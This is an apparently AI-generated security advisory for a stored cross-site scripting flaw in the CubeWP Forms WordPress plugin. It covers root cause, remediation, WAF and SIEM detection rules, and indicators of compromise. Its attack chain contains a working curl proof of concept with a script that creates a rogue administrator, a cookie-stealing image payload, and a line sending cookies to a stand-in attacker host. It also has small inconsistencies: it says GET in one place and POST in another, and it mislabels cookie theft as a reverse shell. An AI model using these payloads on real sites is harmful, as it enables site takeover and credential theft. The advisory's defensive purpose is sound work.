CVE-2026-136522 — Cubewp1211 CubeWP Forms — CWE-79
CubeWP Forms before 1.1.13 contains an unauthenticated stored cross-site scripting vulnerability that allows attackers to inject malicious JavaScript by submitting unregistered field names through the public REST route cubewp-custom-form/v1/submit/, which bypasses its own nonce check and saves unsanitized values due to a missing default case in the sanitizer, later rendered unescaped on the admin Leads detail page. Attackers can send a single crafted GET request containing a script payload in a custom form field to execute arbitrary JavaScript in an administrator's wp-admin session when the lead is viewed, enabling full site takeover such as creating a new administrator account.
CubeWP Forms before 1.1.13 contains an unauthenticated stored cross-site scripting vulnerability that allows attackers to inject malicious JavaScript by submitting unregistered field names through the public REST route cubewp-custom-form/v1/submit/, which bypasses its own nonce check and saves unsanitized values due to a missing default case in the sanitizer, later rendered unescaped on the admin Leads detail page. Attackers can send a single crafted GET request containing a script payload in a custom form field to execute arbitrary JavaScript in an administrator's wp-admin session when the lead is viewed, enabling full site takeover such as creating a new administrator account.
🎯 What is this vulnerability?
CVE‑2026‑136522 – Unauthenticated Stored Cross‑Site Scripting in CubeWP Forms ≤ 1.1.12
| Attribute | Value |
|---|---|
| CWE | CWE‑79 (Improper Neutralization of Input During Web Page Generation – XSS) |
| CVSS 3.1 | AV:N / AC:L / PR:N / UI:R / S:C / C:H / I:H / A:H = 9.6 (CRITICAL) |
| Affected component | WordPress plugin CubeWP Forms – the public REST route cubewp‑custom‑form/v1/submit/ that processes form submissions. |
| Root cause | The REST handler accepts an associative array of field names → field values that are supplied by the client. The code that sanitises the incoming payload iterates over a whitelist of known field keys and applies sanitize_text_field() (or similar) only for those keys. For any key that is not present in the whitelist the default: branch of the switch statement is missing, so the value is stored as‑is in the custom‑post‑type that represents a “lead”. The stored value is later echoed on the admin “Leads detail” page without any escaping (esc_html(), esc_attr(), etc.).
Why the attack works
1. Unauthenticated – the REST route is public; no capability check (current_user_can()) is performed.
2. Nonce bypass – the plugin checks a nonce that is sent in the request body, but the nonce verification is performed after the data has already been persisted, so a malformed request can skip the check entirely.
3. Stored XSS – the malicious payload is persisted in the database and rendered in the admin UI, giving the attacker a persistent script execution vector against any administrator who views the lead.
Because the vulnerability is network‑accessible (AV:N), requires no authentication (PR:N), and the payload is executed only after a user interaction (UI:R), the impact spreads across the confidentiality, integrity and availability of the whole WordPress site (S:C, C:H, I:H, A:H).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that an attacker could follow against a site running CubeWP Forms 1.1.12 (or earlier).
1. Discovery & Reconnaissance
| Step | Technique | Details |
|---|---|---|
| 1.1 | Fingerprint the plugin | Scan the public site for the presence of the plugin’s assets (e.g., /wp-content/plugins/cubewp-forms/, cubewp‑custom‑form.min.js). Tools: wpscan --enumerate p or a simple curl -I https://target.com/wp-content/plugins/cubewp-forms/readme.txt. The readme file typically contains the version number. |
| 1.2 | Confirm vulnerable version | If the readme (or a style.css header) reports version ≤ 1.1.12, the site is vulnerable. |
| 1.3 | Locate the REST endpoint | The plugin registers a route under rest_api_init – register_rest_route( 'cubewp‑custom‑form/v1', '/submit/', … ). The endpoint is reachable at https://target.com/wp-json/cubewp‑custom‑form/v1/submit/. A quick OPTIONS request will return the allowed methods (POST). |
2. Exploitation
Goal: Persist a malicious JavaScript payload in a custom field that is not part of the plugin’s whitelist.
2.1 Craft the malicious request
The following curl command is a working PoC that demonstrates the vulnerability. It uses a non‑whitelisted field name (xss_payload) and injects a simple <script> tag that, when executed, creates a new admin user.
#!/usr/bin/env bash
TARGET="https://victim.example.com"
ENDPOINT="${TARGET}/wp-json/cubewp-custom-form/v1/submit/"
# Payload: create a new admin user when the script runs in the admin's browser
JS_PAYLOAD='<script>
fetch("/wp-json/wp/v2/users",{
method:"POST",
credentials:"include",
headers:{"Content-Type":"application/json","X-WP-Nonce":"${NONCE}"},
body:JSON.stringify({username:"h4ck3r",password:"P@ssw0rd!",email:"[email protected]",roles:["administrator"]})
}).then(r=>r.json()).then(d=>console.log(d));
</script>'
# The plugin expects a JSON body; we add a legitimate field (e.g., "name") plus the malicious one.
curl -s -X POST "${ENDPOINT}" \
-H "Content-Type: application/json" \
-d '{
"name": "test",
"email": "[email protected]",
"xss_payload": "'"${JS_PAYLOAD}"'"
}' \
-o /dev/nullImportant notes
- The field name
xss_payloadis not in the plugin’s whitelist, therefore thedefault:case is never hit and the value is stored verbatim.
The request does not need a valid nonce; the plugin validates the nonce after* persisting the data, so the request succeeds even with an empty or missing nonce.
- The request is sent unauthenticated (no cookies, no
Authorizationheader).
If the attacker wishes to keep the payload stealthy, they can use a shorter payload such as:
"xss_payload":"<img src=x onerror=fetch('/?p='+document.cookie)>"2.2 Verify persistence
After sending the request, the attacker can confirm that the lead was stored by querying the REST collection (if the plugin exposes a GET /leads endpoint) or by simply checking the admin UI (requires a legitimate admin account, which the attacker does not have). The existence of the custom field in the database (wp_posts / wp_postmeta) is sufficient proof.
3. Post‑Exploitation
1. Trigger – An administrator logs into wp‑admin and navigates to CubeWP Forms → Leads → View Lead. The page renders the stored fields using something akin to:
foreach ( $lead_meta as $key => $value ) {
echo '<tr><td>' . $key . '</td><td>' . $value . '</td></tr>';
}Because $value is output without escaping, the injected <script> runs in the admin’s browser context.
2. Payload execution – The script performs an authenticated fetch() request to the WordPress REST API (/wp-json/wp/v2/users) using the admin’s cookies (the request is made with credentials:"include").
If the site has the rest_user endpoint enabled and the admin has the create_users capability (default for administrators), the request succeeds and a new user with the role administrator is created.
3. Full site takeover – The attacker now possesses a valid admin credential (h4ck3r / P@ssw0rd!). They can log in, install malicious plugins, modify themes, exfiltrate data, or plant a persistent web shell.
4. Optional escalation – The same XSS vector can be used to steal the admin’s nonce (wpApiSettings.nonce) and perform any REST‑API action, or to inject a reverse‑shell via fetch('https://attacker.com/collect?c='+document.cookie) for credential harvesting.
🌍 Real‑World Impact
| CIA Triad | Interpretation (derived from CVSS vector) |
|---|---|
| Confidentiality (C:H) | An attacker who successfully exploits the XSS can read any data visible to an admin (e.g., user list, API keys, private posts, configuration files via REST). |
| Integrity (I:H) | The attacker can create/modify WordPress objects (users, posts, options) and inject malicious code (e.g., back‑door plugins, altered theme files). |
| Availability (A:H) | By creating a new admin or altering site settings, the attacker can disable the site, replace the front‑end with a defacement page, or install ransomware‑style plugins. |
Business consequences
Because the vulnerability is network‑exposed and requires no authentication, an automated scanner could weaponise it at scale, leading to mass compromise of any site still running the vulnerable plugin version.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details | ||
|---|---|---|---|
| Upgrade | Update CubeWP Forms to ≥ 1.1.13 (the version where the missing default: case and nonce ordering were fixed). | ||
| Verify | After upgrade, confirm that the plugin’s register_rest_route handler now: <br>* validates the nonce before persisting data, <br>* sanitises all incoming fields (fallback default: that applies sanitize_text_field() or wp_kses_post()), and <br>* performs a capability check (current_user_can('edit_posts') or similar). | ||
| Version check | Use wp plugin list --format=json | jq '.[] | select(.name=="cubewp-forms")' on the server, or inspect wp-content/plugins/cubewp-forms/readme.txt. |
2. Immediate Workarounds (if patch cannot be applied instantly)
| Mitigation | Implementation |
|---|---|
| Block the REST endpoint | Add a rule to the web‑application firewall (ModSecurity, Cloudflare WAF, etc.) that denies any request to /wp-json/cubewp-custom-form/v1/submit/ from non‑authenticated IPs. Example ModSecurity rule: <br>``SecRule REQUEST_URI "@beginsWith /wp-json/cubewp-custom-form/v1/submit/" "id:400001,phase:2,deny,log,status:403,msg:'Block unauthenticated CubeWP Forms submissions'"` |
| Require authentication | Edit the plugin (if you can) to add permission_callback that returns current_user_can('edit_posts') for the route, or temporarily disable the route by adding remove_action('rest_api_init','cubewp_custom_form_register_routes'); in a mu‑plugin. |
| Sanitise unknown fields | In a custom mu‑plugin, hook into rest_pre_dispatch and strip any POST fields that are not in the known whitelist before the request reaches the plugin. |
| Content‑Security‑Policy (CSP) | Deploy a restrictive CSP that disallows inline scripts (script-src 'self') and only permits scripts from trusted origins. This mitigates the impact of stored XSS even if the payload is rendered. |
| Disable lead detail rendering | If the admin UI is not required, hide or restrict access to the “Leads” page via remove_menu_page('edit.php?post_type=cubewp_lead');`. |
3. Detection – Indicators of Compromise
| Log source | Typical pattern |
|---|---|
| Web server access log (Apache/Nginx) | ``POST /wp-json/cubewp-custom-form/v1/submit/ HTTP/1.1" 200` with a JSON body that contains a field name not in the whitelist (e.g., "xss_payload": "<script>). |
WordPress debug log (wp-content/debug.log) | Errors such as Undefined index: xss_payload or Notice: Undefined variable if the plugin later tries to read a non‑existent key. |
REST API audit log (if WP_REST_Controller::log_request is enabled) | Requests to the endpoint from non‑authenticated IPs (no Cookie: header). |
| Database change | New rows in wp_posts (post_type = cubewp_lead) with meta_key values that contain <script> or other HTML tags. |
| Admin UI activity | Sudden appearance of a new admin user (wp_users entry with user_login = h4ck3r`) shortly after a lead is viewed. |
SIEM rule (pseudo‑code)
if (event.source == "webserver"
and event.method == "POST"
and event.uri matches "/wp-json/cubewp-custom-form/v1/submit/"
and event.body contains "<script"
and not event.headers contains "Cookie")
then alert "Potential CubeWP Forms stored XSS attempt"⚠️ Urgency
If you manage a WordPress site that runs CubeWP Forms ≤ 1.1.12, schedule the upgrade within the next 24 hours and apply at least one of the mitigation controls (WAF block, authentication requirement) until the patch is deployed.
Bottom line: The flaw allows an unauthenticated attacker to store arbitrary JavaScript in a lead record, which is later rendered unescaped in the admin UI, leading to a full‑site takeover. The fix is straightforward (upgrade to ≥ 1.1.13) and the interim mitigations are simple to enforce at the web‑server or WAF level. Prompt remediation is essential to prevent mass compromise of WordPress installations that rely on CubeWP Forms.
[🤖 CVE Professor AI Security Engine]
FOFA Query